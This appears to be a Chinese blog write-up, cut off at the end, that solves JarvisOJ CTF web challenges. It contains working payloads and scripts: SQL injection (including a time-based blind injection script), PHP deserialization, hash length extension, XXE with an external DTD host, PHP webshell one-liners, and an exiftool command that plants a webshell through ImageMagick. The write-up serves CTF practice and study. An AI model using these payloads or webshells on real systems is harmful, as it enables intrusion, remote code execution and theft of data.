初学WEB,一切都是新鲜的。JarvisOJ 平台上的题还不错,适合练练手。

PORT51

http://web.jarvisoj.com:32770/

打开页面提示:Please use port 51 to visit this site.

直接curl:

1
$ curl --local-port 51 http://web.jarvisoj.com:32770/

得到 flag:PCTF{M45t3r_oF_CuRl}

LOCALHOST

http://web.jarvisoj.com:32774/

打开页面提示:localhost access only!!

想到X-Forwarded-For。

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。`
因此在请求头中构造:X-Forwarded-For: 127.0.0.1

得到 flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

Login

http://web.jarvisoj.com:32772/

1
需要密码才能获得flag哦。

在响应头中发现提示:

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

在php中,md5函数原型为:

1
md5 ( string $str [, bool $raw_output = FALSE ] ) : string

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

测试如下:

1
2
3
4
5
6
7
8
$s = '123456';
echo md5($s, false);
echo md5($s, true);
$string = md5($s, true);
for ($i=0; $i<strlen($string); $i++) {
echo dechex(ord($string[$i]));
echo '-';
}
1
2
3
e10adc3949ba59abbe56e057f20f883e
9I Y V W >
e1-a-dc-39-49-ba-59-ab-be-56-e0-57-f2-f-88-3e-

所以现在如果能有一个字符串,它md5加密后的原始字节流可以有类似 'or'1 这样的语句就好了。根据前人的总结,ffifdyop md5 后为 276f722736c95d99e921722cf9ed621c,原始字节流为 'or'6<乱码>。这样就可以实现 sql 注入了。

得到 flag:PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密

http://web.jarvisoj.com:32768/

1
这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

查看源代码发现图片的地址是:showimg.php?img=c2hpZWxkLmpwZw==,而 c2hpZWxkLmpwZw== base64解码后正是 shield.jpg。可以通过 showimg.php 读取到源码。

index.php:

1
2
3
4
5
6
7
8
9
10
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

showimg.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

shield.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

有以下结论:

  1. flag 在 pctf.php 中。
  2. showimg.php 中 ban了 pctf,无法直接读取源码。
  3. index.php中 可以通过 get 参数 class 得到反序列化 Shield 类的对象从而通过 __construct 构造函数读取到 pctf.php。

因此 payload 为:

1
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到 flag:PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

IN A Mess

http://web.jarvisoj.com:32780/

1
连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

查看源码发现提示 index.phps。内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

结论如下:

  1. a 中不能有 .
  2. data 值为a文件内容,并且要等于 1112 is a nice lab!。
  3. id 不能为假,但又要 id==0。
  4. b 的长度大于 5,b 的第一个字符不能为 4,但又要 eregi("111".substr($b,0,1),"1114") 为真。

首先 id==0 为弱比较,id=‘0abc’ 或 ‘0e10’ 或 ‘xyz’ 均可绕过。
然后 b 可以进行 %00 截断,构造为 %004abcd,eregi 函数的 pattern 中会忽略 %00 及之后的字符串。
a 有些麻烦,看了别人的 WP,有三种方法:

  • data协议:

    所谓"data"类型的 Url 格式,是在RFC2397中提出的,目的对于一些“小”的数据,可以在网页中直接嵌入,而不是从外部文件载入。

    所以a的值可以构造为:data:,1112 is a nice lab!,那么就相当于直接给 a 赋予了该内容。

  • php://input
    php://input 是个可以访问请求的原始数据的只读流。当请求方式是 post,并且 Content-Type 不等于 ”multipart/form-data” 时,可以使用 php://input 来获取原始请求的数据。
    因此 a 的值可以构造为:php://input,并且使用 post 方法,请求头中 Content-Type 不等于 ”multipart/form-data”、Content-Length 为 38,请求主体为:1112 is a nice lab!,当执行 file_get_contents($a) 时,就会读取到了。

  • 从自己的服务器上读取文件
    由于过滤了点,先要将自己的ip地址转换为 10 进制数字,然后文件不加后缀名就好了。
    测试了下,也可以成功执行。

进入后提示:Come ON!!! {/^HT2mCpcvOLf}。猜测是目录,进入该目录,页面显示 hi666,发现 url变 为了http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1,将id改为其他非 0 会显示正在执行的 SQL 语句,看来是 SQL 注入了。这里是数字型的注入点,不用闭合引号。
测试发现过滤了空格、关键字等,但都可以绕过。
先通过 group by 获得字段数:

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/group/*1*/by(3)

字段数为 3。然后开始联合查询,测试下回显位置是 3,根据报错语句也能知道表名是 content,于是直接获取字段名,但有单引号会报错,用 16 进制绕过:

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/uunionnion/*1*/sselectelect/*1*/1,1,group_concat(column_name)ffromrom(information_schema.columns)where(table_name=0x636F6E74656E74)/*1*/limit/*1*/1,1

得到字段名:id,context,title。

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/uunionnion/*1*/sselectelect/*1*/1,1,context/*1*/ffromrom(content)/*1*/limit/*1*/1,1

最终得到 flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

RE?

https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

1
咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦

flag在管理员手里

http://web.jarvisoj.com:32778/

1
只有管理员才能获得flag,你能想办法获得吗?

打开页面显示 Only Admin can see the flag!!。
发现 cookie 如下:

1
2
hah: 3a4727d57463f122833d9e732f94e4e0
role: s:5:"guest";

看来是要将 cookie 中 role 的值改为 admin。但 cookie 是加了盐之后的hash值,没法得到修改后的 hash 值。

除此之外,用自己写的扫描工具扫了下还发现源码泄露:index.php~

index.php~ 是 php 的备份恢复文件,直接打开之后是乱码。拿到 Linux 下,重命名为 index.php.swp,使用命令 vim -r index.php 恢复。得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

结论有:

  1. $role === "admin"
  2. $hsh === md5($salt.strrev($\_COOKIE["role"])),即 hash 值为 salt + 倒序的序列化后的 role 的 md5 值。

现在知道 md5(salt+;"tseug":5:s),需要计算 md5(salt+;"nimda":5:s)。因此可以用哈希长度扩展攻击。即可以计算出 md5(salt+;"tseug":5:s+填充的字节+;"nimda":5:s),倒序后的 role 值是 s:5:"admin";+逆序的填充字节+s:5:"guest";。由于 php反序列化时会忽略第一个可序列化后对象之后的字符串。例如:

1
2
3
4
5
$array1 = array('a' => 1);
$array2 = array('b' => 'test');
$s = serialize($array1)."pad".serialize($array2);
print_r($s);
print_r(unserialize($s));
1
2
3
4
5
a:1:{s:1:"a";i:1;}pada:1:{s:1:"b";s:4:"test";}
Array
(
[a] => 1
)

因此反序列化后的 role 值就为 admin。因此可以进行攻击。但是哈希长度攻击需要知道 salt 的长度,无妨,可以进行爆破。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import os
import urllib

def attack(hash, role):
url = 'http://web.jarvisoj.com:32778'
role = urllib.quote(paded.decode('hex')[::-1])
headers = {
'cookie': 'role=%s; hsh=%s' % (role, hash)
}
r = requests.get(url=url, headers=headers)
print len(r.text)

if __name__ == '__main__':
d = ';\\"tseug\\":5:s'
s = '3a4727d57463f122833d9e732f94e4e0'
a = ';\\"nimda\\":5:s'
for i in range(1, 33):
print 'salt_len =', i
find_hash = './hash_extender -d \"' + d + '\" -s \"' + s + '\" -f md5 -a \"' + a + '\" -l ' + str(i) + ' --out-data-format=hex --quiet'
data = os.popen(find_hash).readline()
new_hash = data[:32]
paded = data[32:]
attack(new_hash, paded)

发现 salt 长度为 12,最终得到 flag:PCTF{H45h_ext3ndeR_i5_easy_to_us3}

Chopper

http://web.jarvisoj.com:32782/

1
小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

进去之后有一张菜刀图片,然后点击指向目录/admin的管理员登录连接提示403没有权限。但是查看源码发现提示管理员 IP 是202.5.19.128。查看菜刀图片的链接,很奇怪:proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg

看来要用远程文件包含,并且看到 proxy,这也许是一个代理接口。因此猜测应该可以使用这个代理接口去访问 202.5.19.128 的代理接口去访问 admin 目录。那么 202.5.19.128 下的代理接口可能也是 proxy.php。果然,直接访问
http://202.5.19.128/proxy.php提示 403,然后使用代理接口 http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php就可以成功。
因此构造:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/两层代理来访问 admin 目录。

成功,页面显示:YOU’RE CLOOSING!。但除此之外一无所获。尝试扫描,还真扫描出了点东西:proxy.php(怎么还有代理。。。)以及 robots.txt。
打开 robots.txt,有两个文件:trojan.php 及 trojan.php.txt。
看来 trojan.php 是含有一句话木马的文件了。而 trojan.php.txt 是提示文件:

1
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

其实就是:

1
2
3
4
<?php
${__}=ASsERT;
${__}(eval($_POST[360]));
?>

得到密码 360,用菜刀连上,或者自己 post。发现其实出题人应该是进行了处理,这并不是真的一句话木马,因为你无论 post 什么都会回显目录信息。
最后得到 flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}。

http://web.jarvisoj.com:32785/

1
"没有什么防护是一个漏洞解决不了的,如果有,那就....."

进去可以看到上传图片的 submit 页面,先测试看看。发现是后端进行后缀名检测,而且会根据文件头检查文件类型。看来是要上传图马了,在图片后加入一句话木马:

1
<?php @eval($_POST['nonup']); ?>

尝试文件名构造 %00 截断:heihei.php%00123.jpg,看能否之后利用。
上传成功,得到图片ID:1557851349。在 view 界面,查看图片,得到图片的地址:uploads/1557851349.jpg,看来服务器对图片进行了重命名,之前构造的完全无效。

换种思路,在 index 页面发现 url 是这种格式:index.php?page=submit,猜测是网页内嵌套,直接访问 submit.php 也可以访问成功,将 page 值改为任意值会报错:
Warning: fopen(123.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24 No such file!
看来服务器的逻辑是在 page 值后添加 .php 判断是否存在该文件,然后用 php 解析器去解析该文件。因此使用 %00 截断来绕过判断是否存在文件,然后就完成了。
因此构造:index.php?page=uploads/1557851349.jpg%00,提示You should not do this!,看来服务器还进行了过滤,但发现只要使用旧版本的 php 标签就可以了:

1
<script language="php">@eval($_POST['nonup']);</script>

最后得到 flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}

Simple Injection

http://web.jarvisoj.com:32787/

1
很简单的注入,大家试试?

通过测试,发现用户名为 admin,而且在用户名中构造 'or'1'='1也会提示密码错误,而且数据库执行错误会显示用户名错误。密码中貌似没有注入。还过滤了空格,但这不是问题。
很明显的基于布尔型的盲注。还发现可以睡,所以这里就采用基于时间型的盲注。
先测试下,不睡的话平均时间是 0.05s,sleep(0.3) 平均时间是 0.35。区分度足够大了。
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
import requests

url = 'http://web.jarvisoj.com:32787/login.php'
data = {
'username': '',
'password': ''
}

payload1 = "'or(if(((ascii(substr(database()from({0}))))<{1}),sleep(0.3),0))#"
payload2 = "'or(if(((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({0}))))<{1}),sleep(0.3),0))#"
payload3 = "'or(if(((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin'))from({0}))))<{1}),sleep(0.3),0))#"
payload4 = "'or(if((ascii(substr((select(group_concat(password))from(admin))from({0})))<{1}),sleep(0.3),0))#"

for i in range(1, 100):
# 字符集ascii从32到126
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
data['username'] = payload4.format(i, mid)
t1 = time.time()
r = requests.post(url=url, data=data)
t2 = time.time()
if t2 - t1 < 0.3:
low = mid + 1
else:
high = mid - 1
# 假如结果为 low-1,则已完成
if high == 31:
break
print(chr(high), end='')
print('\n')

数据库为:injection,表为:admin,字段有:id,username,password,字段对应的值为:1,admin,334cfb59c9d74849801d5acdcfdaadc3
密码md5解密后为:eTAloCrEP,登陆后得到 flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

api调用

http://web.jarvisoj.com:9882/

1
请设法获得目标机器/home/ctf/flag.txt中的flag值。

看见一个输入框,无论输入什么都会回显输入的内容再加个 own。查看源码发现一段 js 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

再抓个包:

JarvisOJ_2

js 代码大致就是是定义了一个 XML 去向服务器的 /api/v1.0/try POST一个 json。这让人想到 XXE 漏洞。这两篇文章讲得很详细:
https://security.tencent.com/index.php/blog/msg/69
https://www.freebuf.com/articles/web/126788.html

XML 外部实体注入(XML External Entity),就是服务器接受从客户端发送来的 xml 格式数据时,xml 数据中恶意的引用了外部实体,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

可以构造引用了读取 flag 的外部实体的 XML:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&xxe;</x>

抓包,修改内容,并且将 Content-Type 的值改 application/xml:

JarvisOJ_3

也可以构造引用了读取远程文件的外部实体的 XML:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://119.23.37.178/hack.xml">
%d;
]>
<x>&xxe;</x>

hack.xml:

1
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">

抓包:

JarvisOJ_4

也可以成功执行。获得 flag:CTF{XxE_15_n0T_S7range_Enough}

图片上传漏洞

http://web.jarvisoj.com:32790/

1
2
请设法获取/home/ctf/flag.txt 中的flag值。
(建议使用png文件上传)

先测试,发现会检测文件头,而且存储会重命名。没办法常规上传图马。
然后扫描一遍,发现了 test.php。访问后是 phpinfo 界面,网站路径为:/opt/lampp/htdocs。除此之外,还发现了一个有趣的东西:ImageMagick。

ImageMagick 是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

ImageMagick 有多个相关的CVE:
https://www.2cto.com/article/201605/505823.html
由于无法上传 mvg 格式的文件,因此很多洞都无法利用。但可以利用与 exif 有关的洞:
在普通的 png 中插入恶意的 exif,ImageMagick 在将这张 png 转换为 show 或 win 格式时就会触发漏洞。
利用 exiftool 构造恶意的 label:

1
$ exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[\'nonuple\'\]\)\;?\> > /opt/lampp/htdocs/uploads/nonuple.php; \"" 1.png

这里进行了两次转义,一次是本地的 exiftool 命令,一次是漏洞触发时的 echo 命令。
在 exif 信息查看器中能看到已成功写入:

JarvisOJ_5

并且在本地测试该命令也能成功写入文件:

JarvisOJ_6

上传该 png,抓包,并将 get 参数中的 filetype 值设为 show 或 win。这样就 ImageMagick 在收到这张图片的时候就会转换这张的格式为 show 或 win 然后触发漏洞了。

但这道题貌似被别人搅了,因为发现无论 filetype 设为什么 值,服务器都不会进行格式转换,返回的仍然是该格式的文件。

JarvisOJ_7

看了别人的 WP,之前有人按照这种方法成功上传了 uploads/x.php,连上菜刀或者自己 POST,最后得到 flag:CTF(873dfee87823248f4a1657650204697a}

PHPINFO

http://web.jarvisoj.com:32784/
进去就能看到index.php源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

只要可以更改 OowoO 类中 mdzz 的值,就可以任意执行代码了。可是不存在可以反序列话的语句。

这句代码 ini_set('session.serialize_handler', 'php'); 吸引了我的注意,ini_set 设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。看了大佬的 WP,才知道:

通过 phpinfo 页面,知道 php.ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php。这就导致了 seesion 的反序列化问题。
同时由 phpinfo() 页面知,session.upload_progress.enabled 为 On。当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name 同名变量时,当 PHP 检测到这种 POST 请求时,它会在 $_SESSION 中添加一组数据。所以可以通过 Session Upload Progress 来设置 session。

所以现在需要上传的同时 POST 变量 PHP_SESSION_UPLOAD_PROGRESS。我们可以构建一个文件上传表单保存为 html 完成这个任务:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="x" />
<input type="file" name="file" />
<input type="submit" />
</form>

然后考虑序列化。先要执行 print_r(scandir(dirname(__FILE__))); 获得当前目录的所有文件,序列化后为:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在引号前加上 \,防止转义。然后最前面有一个 |,这是 session 的格式。

在之前的 html 中任意上传一个文件,抓包,把 filename 改为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

得到:

JarvisOJ_1

直接访问 Here_1s_7he_fl4g_buT_You_Cannot_see.php 没结果,因此要获得源码。通过 phpinfo 的 SCRIPT_FILENAME 或者再执行一个 print_r(dirname(__FILE__)); 来获得当前路径为:/opt/lampp/htdocs

最后构造::

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
最终得到 flag:CTF{4d96e37f4be998c50aa586de4ada354a}

WEB?

http://web.jarvisoj.com:9891/

1
这么简单的题,是WEB吗?

进去后有个 check 密码,输入错误会提示 Wrong Password。刚开始还以为是万能密码,后来抓包发现会向 /checkpass.json POST 密码。查看源码发现有个 app.js,将之用工具格式化后发现有 2W 多行。。。搜索 Wrong Password 发现了一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
key: "__handleTouchTap__REACT_HOT_LOADER__",
value: function() {
var e = this.state.passcontent,
t = {
passowrd: e
};
self = this,
$.post("checkpass.json", t,
function(t) {
self.checkpass(e) ? self.setState({
errmsg: "Success!!",
errcolor: b.green400
}) : (self.setState({
errmsg: "Wrong Password!!",
errcolor: b.red400
}), setTimeout(function() {
self.setState({
errmsg: ""
})
},
3e3))
})
}

只要 checkpass 函数返回为真就成了。接下来查看 checkpass 函数:

1
2
3
4
5
6
7
8
9
10
key: "__checkpass__REACT_HOT_LOADER__",
value: function(e) {
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
if (i !== r[n]) return ! 1
}
return ! 0
}

这就是简单的线性方程组。

1
2
3
4
5
6
7
8
9
10
import numpy as np
from scipy.linalg import solve

r = np.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = np.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 